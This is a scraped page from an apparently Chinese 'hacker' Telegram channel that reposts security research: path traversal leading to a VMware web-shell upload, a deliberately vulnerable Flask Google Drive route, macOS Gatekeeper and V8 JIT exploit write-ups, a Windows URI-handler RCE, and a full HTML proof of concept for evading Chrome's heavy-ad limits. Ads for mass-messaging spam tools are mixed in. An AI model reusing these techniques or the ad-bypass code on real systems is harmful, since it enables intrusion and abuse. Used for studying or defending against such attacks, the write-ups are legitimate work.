红客解密程序 暗网编程
27.3K subscribers
967 photos
12 videos
1 file
56 links
渗透测试,#删库,数据删除 拿数据库 木马注入 破解,提权,Dns动持
Download Telegram
日志、监控和故障排除
您可以随时监控系统的资源使用情况、正常运行时间和会话的负载杠杆率

用于lscpu查看系统的 CPU 使用情况和其他详细信息。

系统事件和进程的踪迹通常以日志的形式保存在/var/log目录中。日志分为两类:1. 通过 保存的基本系统日志journald,默认情况下,这些日志会在启动时被清除(可以配置为持久保存)。2.rsyslog默认情况下持久保存并组织在文件夹内的日志/var/log/。Linux 中的日志记录机制主要遵循syslog系统消息、事件、安全事件、邮件和作业日志的标准协议,而其他程序可能遵循或不遵循syslog相同的格式
os.path.join工作原理
我们想提醒大家注意os.path.join在某些情况下函数的使用不安全。即使用户输入已被过滤,并且“ ..”字符串已被删除以防止路径遍历,在第二个参数中仍有可能使用所需目录的绝对路径。

通常,即使有可能上传恶意文件以获取任意远程代码执行,也需要完全重新启动 Python Web 应用程序才能获取此新代码。不幸的是,对于 VMware 来说,这次WSGIScriptAliashttpd 配置中的别名意味着脚本不会被缓存,并且会在每次用户请求 URL 时加载到内存中并执行/logupload。

考虑到这一点,我们决定log_upload_wsgi.py用自己的恶意代码覆盖原始脚本。我们只有一次尝试上传有效的 Python 脚本的机会,否则我们将破坏 Web 应用程序。我们用 Python 语言创建了一个 WSGI Web Shell,并尝试将其上传到/etc/httpd/html/wsgi_log_upload/名为log_upload_wsgi.pyfilename 的文件夹中
破解 Google Drive 集成

您是否曾在漏洞赏金目标中观察到 Google Drive 集成,并想知道除了 OAuth CSRF 之外还可能存在什么?是否有可能进一步破解此集成?这正是我们今天要探索的内容。

在讨论此漏洞之前,让我们先来看看 Google Drive 通常是如何集成到应用程序中的。

一般有三种方式;

客户端嵌入。
在客户端获取CDN Url并在服务器端下载。
通过 Gdrive API 在服务器端获取文件。
前两个测试相对简单,但最后一个才是乐趣所在。

为了理解这一点,请考虑一个简单的应用程序,它从 Gdrive 检索并呈现选定的图像文件。我知道这不是必要的,但为了让读者理解,我试图展示幕后的工作方式。

这是负责列出并呈现您的 Google Drive 图像文件的两条路线,提供您的访问令牌

#List images from Gdrive

@app.route('/cloud/gdrive/list')
def list_files():
token = request.args.get('access_token')
html = ""
if token:
r = requests.get('https://www.googleapis.com/drive/v2/files/',headers={'Authorization': 'Bearer '+token})
resp = json.loads(r.text)
print(resp)
for file in resp['items']:
if file['mimeType'].startswith('image/'):
html += "<a href='/cloud/gdrive/fetch?file_id="+file['id']+"&access_token="+token+"'>"+file['title']+"</a><br>"
return "Select Gdrive image (max 1mb) to fetch <br><br>" + html

else:
return "Error"

#Render provided image id from gdrive

@app.route('/cloud/gdrive/fetch')
def fetch_gdrive_video():
token = request.args.get('access_token')
file_id = request.args.get('file_id')
if token and file_id:
try:
r = requests.get('https://www.googleapis.com/drive/v2/files/'+file_id,headers={'Authorization': 'Bearer '+token})
download_url = json.loads(r.text)['downloadUrl']
d = requests.get(download_url,headers={'Authorization': 'Bearer '+token})
except Exception as e:
return Response(str(e), headers={'Content-type':'text/plain'})
return Response(d.content, headers={'Content-type':'image/png'})
else:
return "Error"

上面的代码应该更容易理解 - 我们可以通过 file_id 控制对谷歌发出的 HTTP 请求的路径。这意味着我们可以进行路径遍历并添加查询参数
【ins群发】可一键控制1000账号(自动采集指定行业博主精准粉丝,自动私信或拉群群发、日曝光量百万+ )
【TK群发】自动采集博主粉丝 (自动筛选地区、性别等)批量包装小号,强制私信 或一键上传视频,自动@百万+用户做矩阵营销
【FB获客】中控系统(一台电脑相当于1000部手机,一号一IP,可自动上号 自动加行业小组 自动发帖 留言 霸屏推广)
CVE-2021-30853漏洞深入分析
最近,苹果公司在macOS 12 beta 6(以及随后的macOS 11.6)版本中修复了一个“有趣的”漏洞,其编号为CVE-2021-30853
This media is not supported in your browser
VIEW IN TELEGRAM
该漏洞是由Gordon Long发现并提交的;据苹果公司称,利用这个漏洞,“恶意应用程序能绕过Gatekeeper安全机制的检查”。这类漏洞通常对日常的macOS用户影响特别大,因为它们为广告软件和恶意软件作者提供了一种绕过macOS安全机制的手段,……否则这些安全机制会挫败这些恶意软件的感染企图。

正如我们所看到的,这个在修复CVE-2021-30853漏洞的补丁代码中引入的新漏洞,不仅绕过了Gatekeeper机制,而且还绕过了文件隔离机制,以及macOS最近的公证要求

……这意味着,只要用户双击了一个看似无害的文件(如我的“简历”),就可能导致macOS系统的整体沦陷
太吓人了?!

等等,这个漏洞的影响,听起来是不是有种很熟悉的味道?不错!

今年年初,我发表了“All Your Macs Are Belong To Us”,详细介绍了CVE-2021-30657漏洞。这个由Cedric Owens发现的漏洞也允许“恶意应用程序绕过Gatekeeper检查”(我确定,这的确是由于苹果公司的用户模式系统策略守护进程的漏洞所致)。

未签名、未经公证的PoC

当从互联网下载时,正如预期的那样,它将被隔离起来。

% xattr ~/Downloads/PoC.app
com.apple.FinderInfo
com.apple.metadata:kMDItemWhereFroms
com.apple.quarantine
通常情况下,被隔离的软件应该触发文件隔离、Gatekeeper和公证检查……如果该软件没有签名(因此,也不会经过公证),应该被拦截。

一个没有签名的应用程序,通常应该被拦截!

应该注意的是,要触发漏洞利用代码,一般必须诱骗(或胁迫)用户来运行该应用程序。虽然这似乎是一个很高的门槛,但黑客已经一次又一次地证明,macOS用户很容易上钩
常见的macOS感染手段

……此外,如上面的演示所示的那样,该应用程序可以伪装成无害的PDF,进而通过电子邮件或其他分发渠道进行投递。

正如前面所指出的,文件隔离、Gatekeeper或macOS的公证要求被设计为专门拦截未签名和未公证的应用程序的运行企图,即使是由用户自己启动的,也会被拦截。然而,由于CVE-2021-30657所利用的漏洞,并没有触发这些安全检查,所以,它仍然能够堂而皇之的运行。
仔细观察PoC应用程序,发现其主要的可执行组件似乎是一个脚本,具体如下所示:

% cat ~/Downloads/PoC.app/Contents/MacOS/PoC
#!

open /System/Applications/Calculator.app &
对于“未指定解释器”的应用程序,即使未签名和未公证,仍然是允许执行的

精明的读者可能已经注意到,尽管脚本以熟悉的#!开头(“shebang”),但是并没有指定解释器,如/bin/bash。之后,当启动时,macOS似乎并没有把它当回事,并且仍然执行了脚本。

具体地说,通过进程监视器的输出来看,当脚本启动时,可以首先看到launchd先执行XPCProxy,然后,又执行了/bin/sh,后者又执行/bin/bash来运行PoC(它已进行了相应的转译处理,因为它来自互联网
CVE-2021-21220 的利用——从不正确的 JIT 行为到 RCE
利用 JIT 中的错误数字结果

在本系列的第二篇博文中,我们讨论了如何使用 CVE-2021-21220 使 JIT 生成产生错误数字结果的代码。现在我们需要解释如何利用这一点来产生对安全有影响的效果,例如越界内存访问。

过去,将错误的数值结果转换为 OOB 内存访问通常是通过滥用数组边界检查消除来实现的。这种方法长期以来都很有效。请看以下简化的示例

数组的长度arr为 4,我们将返回该数组的一个元素。V8 将执行运行时边界检查,以确保最后一条语句不会访问数组边界之外的内存。在优化此类函数期间,如果 V8 得出的结论typer_index是始终为零(或者,一般而言,如果typer_index * 10可以证明始终在数组边界内),则它可能会删除数组边界检查。这可以在执行优化函数时节省更多 CPU 周期。但是,如果 JIT 代码产生错误的数字结果,则可能会欺骗 V8 引擎,使其认为typer_index必须为零,而实际上它将被设置为不同的(错误)值。然后,在执行数组访问时,它将触发越界内存访问


当正在优化的函数调用该Array.shift方法时,执行流最终到达函数JSCallReducer::ReduceArrayPrototypeShift函数(参见src/compiler/js-call-reducer.cc)。由于对内置 JavaScriptshift方法的调用相对较慢,因此优化器会用一系列可以在汇编级别执行的操作来替换该调用。您可能知道,“Array.shift”会从数组中删除第一个元素并返回该已删除的元素。删除该元素后,JIT 生成的代码会通过从原始数组长度中减 1 来计算新数组长度
Windows 10 RCE:漏洞位于链接中

总结
我们通过 IE11/Edge Legacy 和 MS Teams 在 Windows 10 上发现了一个驱动代码执行漏洞,该漏洞是由 Windows 10/11 默认ms-officecmd:URI处理程序中的参数注入触发的
通过其他浏览器进行攻击需要受害者接受不显眼的确认对话框。或者,可以通过执行不安全 URL 处理的桌面应用程序传递恶意 URI
微软漏洞赏金计划 (MSRC) 的回应很糟糕:最初,他们判断错误,完全忽略了这个问题。在我们提出上诉后,该问题被归类为“严重、RCE”,但只获得了其分类所宣传的赏金的 10%(5,000 美元 vs 50,000 美元)。他们在 5 个月后提出的补丁未能正确解决底层参数注入问题(该问题目前仍存在于 Windows 11 中)
我们的研究过程很简单:我们决定在默认的 Windows 10 URI 处理程序中查找代码执行漏洞,并在两周内成功。考虑到 Windows 附带的 URI 处理程序的数量,其他 URI 处理程序也很可能存在漏洞

漏洞利用/演示
代码执行由恶意网站触发,该网站执行 JavaScript 重定向到精心设计的URI(Microsoft Office UWP 应用用于启动其他 Office 桌面应用程序的方案)。我们利用 URI 处理程序中的参数注入漏洞并绕过 Electron 中的安全措施,通过Microsoft Teams Electron 应用的参数ms-officecmd:注入任意操作系统命令。--gpu-launcher
This media is not supported in your browser
VIEW IN TELEGRAM
PoC 提供了一个 polyfill window.fetch,将网络请求委托给SharedWorker。

共享工作者的带宽不作为广告单元的一部分进行跟踪,因此可以发出网络请求,然后将响应发送回广告单元框架,postMessage而不会触发 Chrome 的广告干预逻辑。

虽然 PoC 使用的是共享 Worker,但旁路也适用于 Service Worker,尽管实现起来稍微复杂一些。旁路不适用于 Web Worker

<!-- adunit.html -->
<html>
<head>
<style>
* {
font-family: 'Helvetica', sans-sarif;
}
.header {
font-size: 1.5rem;
font-weight: 700;
color: red;
}
</style>
</head>
<body>
The frame will now start violating the heavy ad intervention rules, please hold...
<p class="header">DO NOT CLICK THIS FRAME!</p>
<small>Clicking this frame will disable heavy ad intervention on it</small>
<br/>
<p>
To ensure this is an ad:
<ol>
<li>Open DevTools (Ctrl + Shift + I)</li>
<li>Cutsomize and control DevTools (Three vertical dots) -> More tools -> Rendering</li>
<li>Enable `Highlight ad frames`</li>
</ol>
Verify that this frame is then colored red to ensure it is detected as an ad-frame by Chrome.
</p>
<div id="output"></div>
<script>
// Your heavy ad intervention bypass goes here:
// alert("Ad loaded - Insert your script in adunit.html");
/*
This is a very basic polyfill for window.fetch via a shared worker.
This works as a drop-in replacement to window.fetch.
It currently doesn't handle well errors or multiple simultaneous requests with the same URL,
but it works for demo purposes. More robust implementation can be made fairly easily.
To debug shared workers, need to use chrome://inspect/#workers
Delegated network requests will only appear in the shared worker's DevTools.
*/
var resolveResponse = {};
var sharedWorker = new SharedWorker('shared-worker.js');
sharedWorker.port.onmessage = (event) => {
if (event.data.fetchUrl && event.data.fetchResponse) {
console.info('Response:', event.data.fetchResponse);
var response = new Response(event.data.fetchResponse);
resolveResponse[event.data.fetchUrl](response);
delete resolveResponse[event.data.fetchUrl]; // Save memory, not strictly needed
} else {
console.warn('Received unexpected message from shared worker');
}
};
var originalFetch = window.fetch; // For easy behavior comparison
window.fetch = (fetchUrl) => {
// Uncomment line below to see how PoC works with original fetch
// return originalFetch(fetchUrl);
return new Promise((resolve, reject) => {
resolveResponse[fetchUrl] = resolve;
// return resolveResponse[fetchUrl](new Response('Test response')); // For development purposes
sharedWorker.port.postMessage({ fetchUrl: fetchUrl });
});
}
</script>
<script defer="" type="text/javascript">
// Loop download of a 10MB file to trigger heavy ad intervention's network limit
function download() {
// Removed recursive calling, since single resource load will trigger intervention.
// Added output for verification purposes.
// Using jsdeliver.net or same-origin file does not affect behavior
// fetch('./big.bin').then(response => {
fetch('https://cdn.jsdelivr.net/gh/ssd-secure-disclosure/challenges/chrome-ad-heavy/big.bin').then(response => {
return response.text();
}).then(response => {
output.innerText = 'Response: '+response.substr(0,100)+'... (total length: '+response.length+')';
// Feel free to test recursive calling if desired.
// download();
});
}
download();
</script>
</body>
</html>